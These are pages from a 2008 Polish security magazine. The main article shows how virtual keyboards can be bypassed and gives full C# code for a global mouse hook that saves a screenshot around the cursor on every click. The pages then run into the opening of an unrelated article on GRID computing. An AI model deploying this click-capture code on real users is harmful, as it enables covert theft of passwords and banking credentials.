netowej (Rysunek 1).
To rozwiązanie ma w teorii przeciwdzia-
łać przechwytywaniu haseł przez keyloggery.
Naturalnie standardowy keylogger nie pora-
dzi sobie z takim zabezpieczeniem. Wystar-
czy jednak chwilę pomyśleć i – używając tych
samych technik programowania, co w przy-
padku keyloggera – napisać program, który
z łatwością obchodzi wirtualną klawiaturę.
Czytelnik pewnie już zdążył się zorientować,
że chodzi tu o robienie zrzutów ekranu pod-
czas, gdy ofiara klika myszką. Użyjemy me-
chanizmu haków – tego samego, który słu-
żył nam wcześniej do przechwytywania tek-
stu wprowadzanego z klawiatury. Tym razem
zdarzenie, jakie musimy przechwycić, to kli-
kanie klawiszami myszki. Zamiast zapisywać
Atak na wirtualną
klawiaturę
Maciej Pakulski, Sławomir Orłowski
stopień trudności
Wirtualna klawiatura ma przeciwdziałać wykradaniu haseł
przez programy typu keylogger, czyli w domyśle ma podnosić
bezpieczeństwo podczas logowania przez Internet. W tym
artykule chcemy pokazać, jak łatwo to zabezpieczenie złamać.
Z artykułu dowiesz się
• jak działają haki w systemie Windows,
• jak z poziomu kodu C# monitorować.
Co powinieneś wiedzieć
• podstawy programowania zorientowanego
obiektowo,
• podstawy działania systemu Windows,
• podstawowa znajomość sieci komputerowych.
Atak na wirtualną klawiaturę
hakin9 Nr 3/2008
www.hakin9.org
39
znaki do pliku, musimy wykonywać
zrzut ekranu i przechować go na
dysku. Poza tym wszystko wyglą-
da tak samo! Wniosek z tego, że
pieniądze (pewnie spore) wydane
na wprowadzenie nowego zabez-
pieczenia okazują się być pieniędz-
mi wyrzuconymi w błoto. Używając
tych samych technik programowa-
nia, atakujący może z łatwością na-
pisać program, który odczyta wpro-
wadzane hasło. I nie ma co bronić
się stwierdzeniami typu zabezpie-
czenia są zawsze krok za ataku-
jącym, które zawsze z góry skazu-
je zabezpieczenie na porażkę. Nie
będziemy także komentować faktu,
że w przypadku jednego z banków
klawisze w wirtualnej klawiaturze
zmieniają swój wygląd przy kliknię-
ciu. Takie zachowanie tylko ułatwia
wykradzenie hasła, bo nie musimy
się już martwić o odczytanie pozy-
cji kursora. My jednak na łatwiznę
nie idziemy i zaprezentujemy meto-
dę umieszczającą kursor na zrzu-
cie ekranu. W tym artykule nie bę-
dziemy opisywać, jak zrzuty ekranu
wysyłać przez Internet, jak omijać
firewall itd. Chcemy zwrócić uwagę
na to, w jak prosty sposób każdy,
kto zaimplementował już keylogge-
ra, może napisać program odczytu-
jący hasła z wirtualnej klawiatury.
A przecież miała ona przeciwdzia-
łać tego typu atakom.
Tworzymy bibliotekę
łączoną dynamicznie
Podobnie jak w artykule z hakin9
1/2008, rozpoczynamy od stwo-
rzenia biblioteki DLL. Uruchamia-
my Visual C# 2005 i wybieramy Fi-
le –> New Project –> Class Libra-
ry. Projektowi nadajemy nazwę Mo-
useProcDll. Pierwszą czynnością
będzie dodanie niezbędnych funk-
cji
WinApi
z Listingu 1. Aby móc
zaimportować funkcje systemo-
we, musimy najpierw dodać prze-
strzeń nazw System.Runtime.Inte-
ropServices.
Funkcja CallNextHookEx zosta-
ła opisana w artykule o podsłuchi-
waniu klawiatury (hakin9 1/2008).
Funkcja GetCursorInfo dostar-
cza nam informacji o kursorze. Jej
parametrem jest struktura CUR-
SORINFO. Aby móc korzystać
z tej struktury, musimy ją wcześniej
zdefiniować – odpowiedni kod za-
warty jest na Listingu 2. Funkcja
zwraca wartość różną od zera, je-
żeli zdziała poprawnie. Za pomocą
GetIconInfo uzyskujemy informacje
o ikonie bądź kursorze. My użyje-
my tej funkcji do określenia tzw. hot
spot kursora, czyli miejsca aktyw-
nego (dla kursora będącego strzał-
ką hot spot znajduje się na czubku
grota). Parametry funkcji to uchwyt
do ikony bądź kursora oraz struktu-
ra ICONINFO, której definicję rów-
Listing 1.
Import funkcji WinApi
[
DllImport
(
"user32.dll"
)]
private
static
extern
IntPtr
CallNextHookEx
(
IntPtr
hhk
,
int
nCode
,
IntPtr
wParam
,
IntPtr
lParam
);
[
DllImport
(
"user32.dll"
)]
public
static
extern
bool
GetCursorInfo
(
out
CURSORINFO
pci
);
[
DllImport
(
"user32.dll"
)]
public
static
extern
bool
GetIconInfo
(
IntPtr
hIcon
,
out
ICONINFO
piconinfo
);
Listing 2.
Struktury CURSORINFO i ICONINFO
[
StructLayout
(
LayoutKind
.
Sequential
)]
public
struct
ICONINFO
{
public
bool
fIcon
;
public
Int32
xHotspot
;
public
Int32
yHotspot
;
public
IntPtr
hbmMask
;
public
IntPtr
hbmColor
;
}
[
StructLayout
(
LayoutKind
.
Sequential
)]
public
struct
CURSORINFO
{
public
int
cbSize
;
public
int
flags
;
public
IntPtr
hCursor
;
public
Point
ptScreenPos
;
}
Rysunek 1.
Wirtualna klawiatura jednego z banków
hakin9 Nr 3/2008
www.hakin9.org
Atak
40
nież przedstawia Listing 2. Funk-
cja również zwraca wartość różną
od zera w przypadku poprawnego
działania.
Następnym krokiem jest doda-
nie do naszej klasy pół z Listingu 3.
Pola
WM _ LBUTTONDOWN
oraz
WM _ RBUTTONDOWN
przechowują ko-
dy komunikatów systemu Win-
dows oznaczających odpowiednio
wciśnięcie lewego i prawego kla-
wisza myszy. Pole
counter
wyko-
rzystamy do oznaczenia kolejności
zapisywanego pliku na dysku, po-
cząwszy od 0. Pole to będziemy in-
krementować przy każdym zapisie
obrazu i dodawać jego wartość do
nazwy pliku. W ten sposób kolejne
pliki będą miały unikalną nazwę.
Pole
imagePath
jest ścieżką do ka-
talogu, w którym zapiszemy plik.
Teraz możemy przejść do napi-
sania odpowiednich metod. Pierw-
sza z nich, o nazwie
SaveScreen
,
będzie tworzyć obiekt klasy
Bitmap
,
reprezentujący
wycinek
ekra-
nu. Musimy jeszcze dodać prze-
strzenie nazw
System.Drawing
,
System.Drawing.Imaging
oraz
System.Windows.Forms
.
Algorytm
opisujący tworzenie zrzutu ekra-
nu został opisany w hakin9 2/2008.
Jednakże tworzenie zrzutu całe-
go ekranu wymaga dość sporego
nakładu pracy procesora. Gdyby
użytkownik naciskał klawisze my-
szy bardzo szybko, mogłoby dojść
do chwilowych blokad płynnego
działania systemu. Tak więc bę-
dziemy tworzyć tylko wycinki ekra-
nu o wymiarach 100x100 pikseli.
W ten sposób ominiemy problem
dużych zrzutów ekranu, nie tracąc
przy tym możliwości rozpoznawa-
nia klawiszy wirtualnej klawiatury.
Kod metody jest przedstawiony na
Listingu 4.
Pierwsze 4 instrukcje warunko-
we
if
zapobiegają próbie zapisu
obrazu poza ekranem monitora.
Jeżeli metoda zadziała popraw-
nie, zwraca referencję do obiektu
klasy
Bitmap
, reprezentującej wy-
cinek ekranu. W przeciwnym wy-
padku dostajemy wartość
null
.
Stworzony w metodzie
SaveScreen
obiekt nie zawiera jednak żadnych
Listing 3.
Dodane pola tworzonej klasy
private
static
int
WM_LBUTTONDOWN
=
0x201
;
private
static
int
WM_RBUTTONDOWN
=
0x204
;
private
static
long
counter
=
0
;
private
static
string
imagePath
=
@
"C:
\s
creen"
;
Listing 4.
Metoda tworząca obiekt klasy Bitmap, reprezentującej
wycinek ekranu (bez kursora)
private
static
Bitmap
SaveScreen
(
ref
int
mouseX
,
ref
int
mouseY
)
{
try
{
int
xCoord
=
mouseX
-
50
,
yCoord
=
mouseY
-
50
;
int
tmpMouseX
=
50
,
tmpMouseY
=
50
;
if
((
mouseX
-
50
)
<
0
)
{
xCoord
=
0
;
tmpMouseX
=
mouseX
;
}
if
((
mouseX
+
50
)
>
Screen
.
PrimaryScreen
.
Bounds
.
Width
)
{
xCoord
=
Screen
.
PrimaryScreen
.
Bounds
.
Width
-
100
;
tmpMouseX
=
100
-
(
Screen
.
PrimaryScreen
.
Bounds
.
Width
-
mouseX
);
}
if
((
mouseY
-
50
)
<
0
)
{
yCoord
=
0
;
tmpMouseY
=
mouseY
;
}
if
((
mouseY
+
50
)
>
Screen
.
PrimaryScreen
.
Bounds
.
Height
)
{
yCoord
=
Screen
.
PrimaryScreen
.
Bounds
.
Height
-
100
;
;
tmpMouseY
=
100
-
(
Screen
.
PrimaryScreen
.
Bounds
.
Height
-
mouseY
);
}
Bitmap
bitmap
=
new
Bitmap
(
100
,
100
,
PixelFormat
.
Format32bppArgb
);
Graphics
screenshot
=
Graphics
.
FromImage
(
bitmap
);
screenshot
.
CopyFromScreen
(
xCoord
,
yCoord
,
0
,
0
,
new
Size
(
100
,
100
)
,
CopyPixelOperation
.
SourceCopy
);
mouseX
=
tmpMouseX
;
mouseY
=
tmpMouseY
;
return
bitmap
;
}
catch
{
}
return
null
;
}
Listing 5.
Metoda tworząca obiekt klasy Icon
private
static
Icon
CursorIcon
()
{
try
{
CURSORINFO
cu
=
new
CURSORINFO
();
cu
.
cbSize
=
Marshal
.
SizeOf
(
cu
);
GetCursorInfo
(
out
cu
);
Icon
icon
=
Icon
.
FromHandle
(
cu
.
hCursor
);
if
(
icon
!=
null
)
return
icon
;
}
catch
{
}
return
null
;
}
Atak na wirtualną klawiaturę
hakin9 Nr 3/2008
www.hakin9.org
41
informacji o kursorze. Naszym za-
daniem jest więc stworzenie kolej-
nego obiektu klasy
Bitmap
, który
będzie reprezentował kursor i po-
łączenie tych dwóch obiektów w je-
den, reprezentujący wycinek ekranu
wraz z kursorem. Wykorzystamy do
tego dwie metody. Pierwsza z nich
będzie tworzyć obiekt klasy
Icon
.
Kod tej metody jest przedstawiony
na Listingu 5.
Na początku deklarujemy obiekt
struktury
CURSORINFO
, który używa-
my następnie jako parametr w funk-
cji
GetCursorInfo
. Ważne jest, aby
przed wywołaniem tej funkcji usta-
wić wartość pola cbSize nasze-
go obiektu na ilość bajtów zajmo-
wanych przezeń w pamięci. Uży-
wamy do tego statycznej metody
SizeOf
klasy
Marshal
. W następnym
kroku, używając statycznej meto-
dy
FromHandle
klasy
Icon
, uzysku-
jemy referencję do nowo utworzo-
nego obiektu. Jako parametr prze-
kazujemy uchwyt do kursora, który
jest jednym z pól obiektu struktury
CURSORINFO
.
Za pomocą uzyskanego obiektu
klasy
Icon
możemy stworzyć obiekt
klasy
Bitmap
reprezentujący kursor
i połączyć ten obiekt z obiektem
klasy
Bitmap
reprezentującym wyci-
nek ekranu. Wykorzystamy do tego
celu metodę
SaveScreenWithCursor
,
której parametrami są współrzędne
kursora. Jej kod jest przedstawiony
na Listingu 6.
Metoda ta wykorzystuje zde-
finiowane
wcześniej
metody
SaveScreen
oraz
CursorIcon
. W ce-
lu uzyskania informacji o ikonie wy-
korzystujemy funkcję
GetIconInfo
.
Uzyskamy w ten sposób współ-
rzędne miejsca aktywnego kursora
(hot spot). Współrzędne te wyko-
rzystujemy do przesunięcia współ-
rzędnych kursora w celu uzyskania
prawidłowego położenia kursora na
ekranie. Prezentuje to Rysunek 2.
Następnie, posługując się obiek-
tem klasy
Graphics
, łączymy obiek-
ty klasy
Bitmap
w celu uzyskania
obiektu reprezentującego wycinek
ekranu wraz z kursorem. Na końcu
zapisujemy obraz na dysku w for-
macie JPEG.
Ostatnim krokiem będzie napi-
sanie funkcji monitorującej. Jej kod
jest przedstawiony na Listingu 7.
Pierwsza instrukcja
if
spraw-
dza, czy został wciśnięty prawy
Listing 6.
Metoda zapisująca wycinek ekranu wraz z kursorem w
formacie JPEG
private
static
void
SaveScreenWithCursor
(
int
mouseX
,
int
mouseY
)
{
try
{
Bitmap
screen
=
SaveScreen
(
ref
mouseX
,
ref
mouseY
);
if
(
screen
!=
null
)
{
ICONINFO
ic
;
Icon
cursorIcon
=
CursorIcon
();
if
(
cursorIcon
!=
null
)
{
if
(
GetIconInfo
(
cursorIcon
.
Handle
,
out
ic
))
{
int
x
=
mouseX
-
ic
.
xHotspot
;
int
y
=
mouseY
-
ic
.
yHotspot
;
Bitmap
cursor
=
cursorIcon
.
ToBitmap
();
Rectangle
r
=
new
Rectangle
(
x
,
y
,
cursor
.
Width
,
cursor
.
Height
);
Graphics
g
=
Graphics
.
FromImage
(
screen
);
g
.
DrawImage
(
cursor
,
r
);
g
.
Flush
();
screen
.
Save
(
imagePath
+
(
counter
++)
+
".jpeg"
,
ImageForm
at
.
Jpeg
);
}
}
}
}
catch
{
}
}
Listing 7.
Funkcja monitorująca
public
static
IntPtr
MouseProc
(
int
code
,
IntPtr
wParam
,
IntPtr
lParam
)
{
try
{
if
((
wParam
.
ToInt64
()
==
WM_LBUTTONDOWN
||
wParam
.
ToInt64
()
==
WM_RBUTTONDOWN
)
&&
code
>=
0
)
{
MSDLLHOOKSTRUCT
mouseStruct
=
(
MSDLLHOOKSTRUCT
)
Marshal
.
PtrToStru
cture
(
lParam
,
typeof
(
MSDLLHOOKSTRUCT
));
SaveScreenWithCursor
(
mouseStruct
.
pt
.
X
,
mouseStruct
.
pt
.
Y
);
}
}
catch
{
}
return
CallNextHookEx
(
IntPtr
.
Zero
,
code
,
wParam
,
lParam
);
}
Listing 8.
Struktura
MSDLLHOOKSTRUCT
[
StructLayout
(
LayoutKind
.
Sequenti
al
)]
struct
MSDLLHOOKSTRUCT
{
public
Point
pt
;
public
int
mouseData
;
public
int
flags
;
public
int
time
;
public
IntPtr
dwExtraInfo
;
}
hakin9 Nr 3/2008
www.hakin9.org
Atak
42
Listing 9.
Klasa MouseProcInstall
using
System
;
using
System
.
Runtime
.
InteropServices
;
using
System
.
Reflection
;
namespace
InstallMouseProc
{
class
MouseProcInstall
{
[
DllImport
(
"user32.dll"
)]
private
static
extern
IntPtr
SetWindowsHookEx
(
int
code
,
MouseProcDelegate
func
,
IntPtr
hInstance
,
int
threadID
);
[
DllImport
(
"user32.dll"
)]
private
static
extern
bool
UnhookWindowsHookEx
(
IntPtr
hhk
);
[
DllImport
(
"Kernel32.dll"
)]
private
static
extern
IntPtr
GetModuleHandle
(
string
moduleName
);
private
delegate
IntPtr
MouseProcDelegate
(
int
code
,
IntPtr
wParam
,
IntPtr
lParam
);
private
static
MouseProcDelegate
mouseDelegate
;
private
IntPtr
result
;
private
const
int
WH_MOUSE_LL
=
0x0e
;
private
bool
GetHookProc
()
{
try
{
string
sc
=
Environment
.
CurrentDirectory
+
"
\\
"
+
"MouseProcDll.dll"
;
Assembly
a
=
Assembly
.
LoadFrom
(
sc
);
Type
[]
tab
=
a
.
GetExportedTypes
();
MethodInfo
methodInfo
=
null
;
foreach
(
Type
t
in
tab
)
{
methodInfo
=
t
.
GetMethod
(
"MouseProc"
);
}
mouseDelegate
=
(
MouseProcDelegate
)
Delegate
.
CreateDelegate
(
typeof
(
MouseProcDelegate
)
,
methodInfo
);
return
true
;
}
catch
{
return
false
;
}
}
public
bool
InstallHook
()
{
try
{
if
(
GetHookProc
())
{
result
=
SetWindowsHookEx
(
WH_MOUSE_LL
,
mouseDelegate
,
GetModuleHandle
(
"MouseProcDll"
)
,
0
);
return
true
;
}
else
return
false
;
}
catch
{
return
false
;
}
}
public
void
CloseHook
()
{
UnhookWindowsHookEx
(
result
);
}
}
}
Atak na wirtualną klawiaturę
hakin9 Nr 3/2008
www.hakin9.org
43
bądź lewy przycisk myszy oraz
czy parametr
code
jest większy lub
równy 0. Następnie, używając sta-
tycznej metody
PtrToStructure
kla-
sy
Marshal
, zamieniamy parametr
lParam
na strukturę
MSDLLHOOKSTRUCT
.
Strukturę tę musimy jednak naj-
pierw zdefiniować. Dodajemy przed
definicją klasy kod z Listingu 8.
Pierwszym
polem
struktu-
ry jest obiekt
Point
, który okre-
śla współrzędne kursora. Pola X
oraz Y tej struktury wykorzystu-
jemy jako parametry dla metody
SaveScreenWithCursor
, która zapisu-
je wycinek ekranu na dysku. Ostat-
nią czynnością jest wywołanie
funkcji
CallNextHookEx
w celu prze-
kazania parametrów do ewentual-
nej kolejnej zainstalowanej funkcji
monitorującej.
Instalacja funkcji
monitorującej
Instalacja funkcji monitorującej dla
haków przechwytujących komunika-
ty myszy jest prawie identyczna, jak
dla komunikatów klawiatury (patrz
artykuł w hakin9 1/2008). Dlatego
nie będziemy tu opisywać dokład-
nie kodu, lecz ograniczymy się tyl-
ko do podania go. Tworzymy nowy
projekt – Windows Forms Applica-
Rysunek 2.
Przesunięcie obrazu kursora w celu uzyskania prawidłowego
położenia kursora na obrazie ekranu
Wycinek
ekranu
mouseX
mouseY
yHotspot
yHotspot
Obraz kursora
t
x
y
R
E
K
L
A
M
A
hakin9 Nr 3/2008
www.hakin9.org
Atak
44
tion. Nazwiemy go InstallMouse-
Proc. Dodajemy nową klasę o na-
zwie
MouseProcInstall
. Jej kod jest
przedstawiony na Listingu 9.
W porównaniu z instalacją funk-
cji monitorującej dla podsłuchu
klawiatury, tym razem pierwszy
parametr funkcji
SetWindowsHookEx
musi mieć wartość
0x0e
, gdyż wy-
magamy, aby funkcja monitorują-
ca przechwytywała komunikaty
myszy wygenerowane dla każde-
go wątku istniejącego w systemie.
Możemy teraz stworzyć obiekt na-
szej klasy. Przechodzimy do wido-
ku formy i wciskamy F7, po czym
dodajemy kod z Listingu 10.
Program jest już gotowy. Jak
stwierdziliśmy we wstępie, nie
chcemy tutaj opisywać, co dalej
należy zrobić z zapisanymi zrzu-
tami ekranu, jak ukryć ten program
w systemie bądź jak zarazić nim
inny komputer. Powstałby wtedy
artykuł w stylu jak domowym spo-
sobem stworzyć bombę. Zależy
nam na naświetleniu samego pro-
blemu zabezpieczeń, które tak na-
prawdę nic nie zmieniają.
Podsumowanie
Naszym podstawowym celem pod-
czas pisania tego artykułu było
pokazanie, jak prosto ominąć za-
bezpieczenie, jakim jest wirtual-
na klawiatura. I nie chodzi tu tylko
o sprzęt czy źle stworzony skrypt
logowania, ale o czynnik ludzki. To
w końcu ktoś odpowiedzialny za
bezpieczeństwo podejmuje decy-
zję o wprowadzeniu wirtualnej kla-
wiatury. Czytelnikowi pozostawia-
my do oceny stopień kompetencji
kogoś, kto twierdzi, że pozwoli to
na uniknięcie problemu. l
Listing 10.
Definicja klasy Form1
using
System
;
using
System
.
Windows
.
Forms
;
namespace
InstallMouseProc
{
public
partial
class
Form1
:
Form
{
private
MouseProcInstall
hookClass
;
private
bool
hookInstallDone
=
true
;
public
Form1
()
{
InitializeComponent
();
hookClass
=
new
MouseProcInstall
();
if
(!
hookClass
.
InstallHook
())
{
hookInstallDone
=
false
;
}
}
private
void
OnClosing
(
object
sender
,
EventArgs
e
)
{
if
(
hookInstallDone
)
hookClass
.
CloseHook
();
}
}
}
O autorach
Sławomir Orłowski – z wykształcenia fizyk. Obecnie jest doktorantem na Wydziale Fizyki, Astronomii i Informatyki Stosowanej Uniwersy-
tetu Mikołaja Kopernika w Toruniu. Zajmuje się symulacjami komputerowymi układów biologicznych (dynamika molekularna) oraz bioin-
formatyką. Programowanie jest nieodzowną częścią jego pracy naukowej i dydaktycznej. Ma doświadczenie w programowaniu w języ-
kach C, C++, Delphi, Fortran, Java i Tcl. Z językiem C# i platformą .NET pracuje od 2002 roku. Jest autorem książek informatycznych.
Strona domowa: http://www.fizyka.umk.pl/~bigman/
Kontakt z autorem: bigman@fizyka.umk.pl
Maciej Pakulski – absolwent studiów inżynierskich na kierunku Fizyka Techniczna Wydziału Fizyki, Astronomii i Informatyki Stosowanej
Uniwersytetu Mikołaja Kopernika w Toruniu. Obecnie na studiach magisterskich. Programowaniem zajmuje się od 2004 roku. Potrafi pro-
gramować biegle w językach C/C++, Java, VHDL. Programowaniem w języku C#, a także platformą .NET zajmuje się od 2006 roku.
Kontakt z autorem: mac_pak@interia.pl
W Sieci
• http://msdn.microsoft.com/msdnmag/issues/02/10/CuttingEdge – artykuł opisujący haki w systemie Windows,
• http://msdn2.microsoft.com/en-us/library/ms997537.aspx – kolejny artykuł opisujący haki w systemie Windows,
• http://www.codeproject.com – zbiór bardzo wielu przykładów aplikacji dla platformy .NET i nie tylko. Naprawdę godny polece-
nia,
• http://www.codeguru.pl – polska strona dla programistów .NET,
• http://msdn2.microsoft.com – dokumentacja MSDN. Znajdziesz tu opisy wszystkich klas, własności i metod, jakie zawiera plat-
forma .NET wraz z przykładowymi programami.
www.hakin9.org
hakin9 Nr 3/2008
46
Obrona
S
ama technologia CCA (ang. Com-
mon Component Architecture) ozna-
cza środowisko pozwalające na uru-
chamianie i łączenie programów w większe
i bardziej funkcjonalne systemy rozwiązy-
wania złożonych problemów poprzez dzier-
żawienie zasobów komputera. W przypadku
technologii GRID mamy do czynienia z sys-
temem zarządzającym zasobami będącymi
pod kontrolą różnych komputerów połączo-
nych siecią komputerową, który do swojej
pracy wykorzystuje otwarte protokoły i inter-
fejsy ogólnego przeznaczenia.
Systemy rozproszone tworzą stacje robo-
cze, minikomputery i wielkie systemy kompute-
rowe ogólnego przeznaczenia. Zadaniem sys-
temu rozproszonego jest tworzenie wydajnego
i wygodnego środowiska umożliwiającego dzie-
lenie zasobów. Rozproszony system operacyjny
umożliwia użytkownikom dostęp do różnorod-
nych zasobów, nad którymi sprawuje nadzór.
Każdy komputer podłączony do systemu udo-
stępnia procesory, które różnią się mocą obli-
czeniową i funkcjami. Procesory te określa się
za pomocą kilku różnych nazw, takich jak sta-
nowiska (ang. sites), węzły (ang. nodes), kom-
putery (ang. hosts) itp. - zależnie od kontek-
stu, w którym występują. Pojęcie zasób po-
winno tu być rozumiane szeroko: począwszy
od urządzeń (drukarki, skanery), a skończyw-
szy na plikach czy stronach WWW. Dostęp do
tych zasobów jest nadzorowany przez właści-
wy system operacyjny zainstalowany na stacji
roboczej. Istnieją dwa zasadnicze, uzupełniają-
ce się schematy dostarczania takich usług:
• sieciowe systemy operacyjne: użytkownicy
w celu dostępu do zasobów muszą rejestro-
wać się na zdalnych maszynach lub przesy-
łać dane z odległych maszyn do swoich;
Architektura CCA, czyli
GRID prosto i przyjemnie
Rafał Podsiadły
stopień trudności
Czy wiesz, że możesz pomóc w badaniach nad rakiem, nowymi
technologiami, badaniem kosmosu? Systemy oparte na
technologii CCA lub GRID są zespołami komputerów, na których
zainstalowane oprogramowanie pozwala na ścisłą współpracę
między wolnymi zasobami, tworząc w ten sposób superkomputer.
Z artykułu dowiesz się
• jak funkcjonują systemy rozproszone, do czego
są wykorzystywane.
Co powinieneś wiedzieć
• znać budowę sieci, szkielet TCP/IP,
• mieć ogólne wiadomości na temat algoryt-
mów,
• mieć ogólną wiedzę na temat systemów opera-
cyjnych.
Jak funkcjonują systemy rozproszone?
hakin9 Nr 3/2008
www.hakin9.org
47
• rozproszone systemy operacyj-
ne: użytkownicy uzyskują dostęp
do zasobów zdalnych tak samo,
jak do zasobów lokalnych.
Komponenty mogą być dostarcza-
ne niezależnie. Definiuje się sposo-
by współdziałania poszczególnych
części (komponentów, zasobów),
które mogą znajdować się w syste-
mie lokalnym, równoległym czy być
rozproszone między zdalnymi sys-
temami obliczeniowymi. Sama ar-
chitektura opiera się o możliwość
rozwoju oraz wykorzystuje opro-
gramowanie na licencji Open So-
urce. Komponenty to samodzielne
jednostki obliczeniowe (fragmenty
oprogramowania), których szczegó-
ły implementacyjne nie są udostęp-
niane użytkownikom. Dzięki tej zasa-
dzie poszczególne komponenty mo-
gą być tworzone za pomocą innych
narzędzi. Komponenty mogą komu-
nikować się ze światem zewnętrz-
nym za pomocą interfejsów, w któ-
rych stosuje się model budowania
aplikacji typu plug and play. Do in-
terfejsów mogą być podłączone in-
ne komponenty lub dane wejścio-
we. Interfejs jest prostym opisem,
zawierającym informacje doty-
czące wywołania poszczególnych
usług. Standardy budowy kompo-
nentów, takie jak Object Manage-
ment Group, Common Object Re-
quest Broker Architecture, DCOM,
Microsoft Component Object Mo-
del czy Enterprise JavaBeans
(EJB), definiują prawa i obowiąz-
ki komponentów, sposób przygoto-
wania interfejsów, framework (czy-
li środowisko, w którym urucha-
miane są komponenty) oraz prawa
i obowiązki środowiska uruchomie-
niowego. Standardy te różnią się
pod względem wydajności działa-
nia, wymagań stawianych kompo-
nentom oraz platformy programo-
wej, na której mogą być uruchamia-
ne. Właściwości CCA:
• dodawanie, modyfikowanie lub
rozwijanie pojedynczych modu-
łów nie wpływa destabilizująco
na pozostałe elementy progra-
mu,
• możliwość aktualizacji pojedyn-
czych komponentów, bez ko-
nieczności wymiany całej apli-
kacji,
• zmiany wprowadzone wewnątrz
komponentu nie muszą mieć
wpływu na sposób jego interak-
cji z otoczeniem,
• użytkownik przy instalacji aplika-
cji może sam wybrać komponen-
ty, które będą mu potrzebne,
• zwiększenie produktywności ko-
du poprzez technikę wielokrotne-
go wykorzystania jego fragmen-
tów w innych, niezależnych pro-
jektach,
• możliwość składania dowolnych
projektów z istniejących już kom-
ponentów,
Pojęcia tego jako pierwszy użył Ian
Foster, profesor na Uniwersytecie
w Chicago, naukowiec pracujący
w ANL (Argonne National Laborato-
ry). Idea ta ciągle ewoluuje, znajdo-
wane są nowe obszary jej potencjal-
nego zastosowania.
Za pierwszy przejaw idei gri-
du uważa się inicjatywę SETI@ho-
me (ang. Search for Extra-Terre-
strial Intelligence), mającą na celu
przyspieszenie poszukiwań śladów
życia we wszechświecie. Dowolny
posiadacz komputera mógł pobrać
fragment danych (sygnałów odbie-
ranych przez radioteleskopy) i prze-
prowadzać obliczenia w czasie wol-
nym od własnych obliczeń (wykorzy-
stując wolne cykle CPU). To nowa-
torskie podejście do problemu po-
zwoliło na równoczesne wykorzy-
stanie milionów komputerów rozpro-
szonych po całym świecie. Udało się
w ten sposób zidentyfikować poten-
cjalnie interesujące fragmenty sy-
gnału, które następnie poddawane
były dalszym analizom.
Zasoby gridu mogą być admini-
strowane przez różne organizacje.
Udostępnianie zasobów przebiega
zgodnie z lokalną polityką zarządza-
nia zasobami stosowaną w danej or-
ganizacji.
Zasoby posiadają przynajmniej
niektóre z poniższych cech:
• rozproszone geograficzne,
• heterogeniczne sprzętowo i pro-
gramowo,
• dynamiczne (dostępność zmien-
na w czasie),
• potencjalnie zawodne,
• posiadane i zarządzane przez
różne organizacje,
• różne wymagania i polityki bez-
pieczeństwa,
• różne polityki zarządzania za-
sobami,
• połączone heterogeniczną sie-
cią (różne warstwy, protokoły
komunikacyjne, topologie).
Grid kładzie nacisk na autono-
mię zasobu (pozwala na zachowa-
nie lokalnej kontroli nad zasoba-
mi i lokalnych polityk dostępu). Za-
soby nie są zarządzane centralnie,
w przeciwnym razie mamy do czy-
nienia z lokalnym systemem zarzą-
dzania zasobami (np. SGE, LSF,
Rysunek 1.
Schemat systemu GRID
�������
��������
��������
���������
���������������
���������
��������
������������
���������
���������
��������
���������
���������
���������
hakin9 Nr 3/2008
www.hakin9.org
Obrona
48
PBS). Zasobami gridu mogą być
nie tylko komputery i sieci, ale tak-
że specjalistyczne urządzenia czy
zbiory danych. Grid skupia się na
użytkowniku, patrzy się nie tylko
z punktu widzenia posiadacza za-
sobu, ale głównie z punktu widze-
nia użytkownika zlecającego zada-
nie do wykonania – tak, aby zopty-
malizować wykonanie aplikacji, a nie
użycie systemu.
Jak to wygląda? Wyobraź-
my sobie wiele organizacji rozpro-
szonych po całym świecie. Każda
z nich posiada pewne zasoby kom-
puterowe, programowe, sprzęt spe-
cjalistyczny i cenne dane, np. po-
miarowe. Żadnej z tych organizacji
nie stać na zakup wszystkich naj-
nowszych osiągnięć technologicz-
nych, każda z nich posiada tylko
pewien ich podzbiór, który wyko-
rzystuje w różnym czasie i z róż-
nym natężeniem.
Celem tworzenia gridu jest
umożliwienie organizacjom wza-
jemnej wymiany np. mocy oblicze-
niowej, ale też i innych zasobów
z zachowaniem lokalnych polityk
dostępu i bezpieczeństwa. Tworzo-
ne są w ten sposób Wirtualne Or-
ganizacje (VO, ang. Virtual Orga-
nizations).
Warstwę fizyczną środowiska
gridowego stanowią połączone sie-
cią zasoby sprzętowe wielu orga-
nizacji stanowiących VO, które wy-
rażają chęć współtworzenia takiej
struktury. Ponad warstwą sprzęto-
wą musi istnieć warstwa programo-
wa, która pozwoli na udostępnianie
i współdzielenie zasobów oraz
umożliwi rozliczanie członków VO
z użycia zasobów (tzw. accounting).
Uzyskanie spójnego i zwarte-
go obrazu systemu rozproszonego
wymaga ukrycia przed użytkowni-
kami wielu szczegółów związanych
z jego organizacją. Oznacza to, że
różnice pomiędzy komputerami (m.
in. architektura komputera, lokal-
ny system operacyjny), różne spo-
soby komunikowania się kompute-
rów (technologie komunikacyjne,
protokoły sieciowe) oraz organiza-
cja systemu rozproszonego są (lub
powinny być) niewidoczne dla użyt-
kownika końcowego. Ujednolice-
nie takie daje w efekcie możliwość
korzystania z zasobów systemu
w jednolity sposób, przy korzysta-
niu z tego samego interfejsu, nie-
zależnie od czasu i miejsca doko-
nywanej interakcji.
Grid pozwala na rozwiązywa-
nie problemów dużej skali w zakre-
sie znacznie większym, niż pozwa-
lają na to wieloprocesorowe super-
komputery lub lokalne klastry kom-
puterowe. Dzięki udostępnianiu
własnych zasobów w ramach Wirtu-
alnej Organizacji, można mieć okre-
sowo dostęp do wszystkich jej za-
sobów, co daje niewątpliwą szan-
sę na wykonanie bardziej skompli-
kowanych obliczeń w krótszym cza-
sie (zasoby na żądanie). Najbar-
dziej znanymi narzędziami realizu-
jącymi koncepcje gridu są Legion
i Globus Toolkit.
Globus Toolkit jest to oprogra-
mowanie warstwy pośredniej (ang.
middleware), opracowywane w ra-
mach projektu Globus Alliance. Ce-
lem projektu jest dostarczenie śro-
dowiska do uruchamiania i tworze-
nia aplikacji gridowych. Ponadto
w ramach projektu powstają przy-
kładowe implementacje usług po-
trzebnych w tym środowisku. Glo-
bus Toolkit uważany jest za imple-
mentację referencyjną. Architektu-
ra środowiska gridowego zdefinio-
wana została w standardzie OGSA
(ang. Open Grid Services Architec-
ture). Standard WSRF (ang. Web
Services Resource Framework)
określa otoczenie i sposób bu-
dowania oprogramowania dla te-
go środowiska z wykorzystaniem
usług sieciowych (ang. Web Servi-
ces). Procesem standaryzacji zaj-
muje się organizacja standaryza-
cyjna Global Grid Forum. Globus
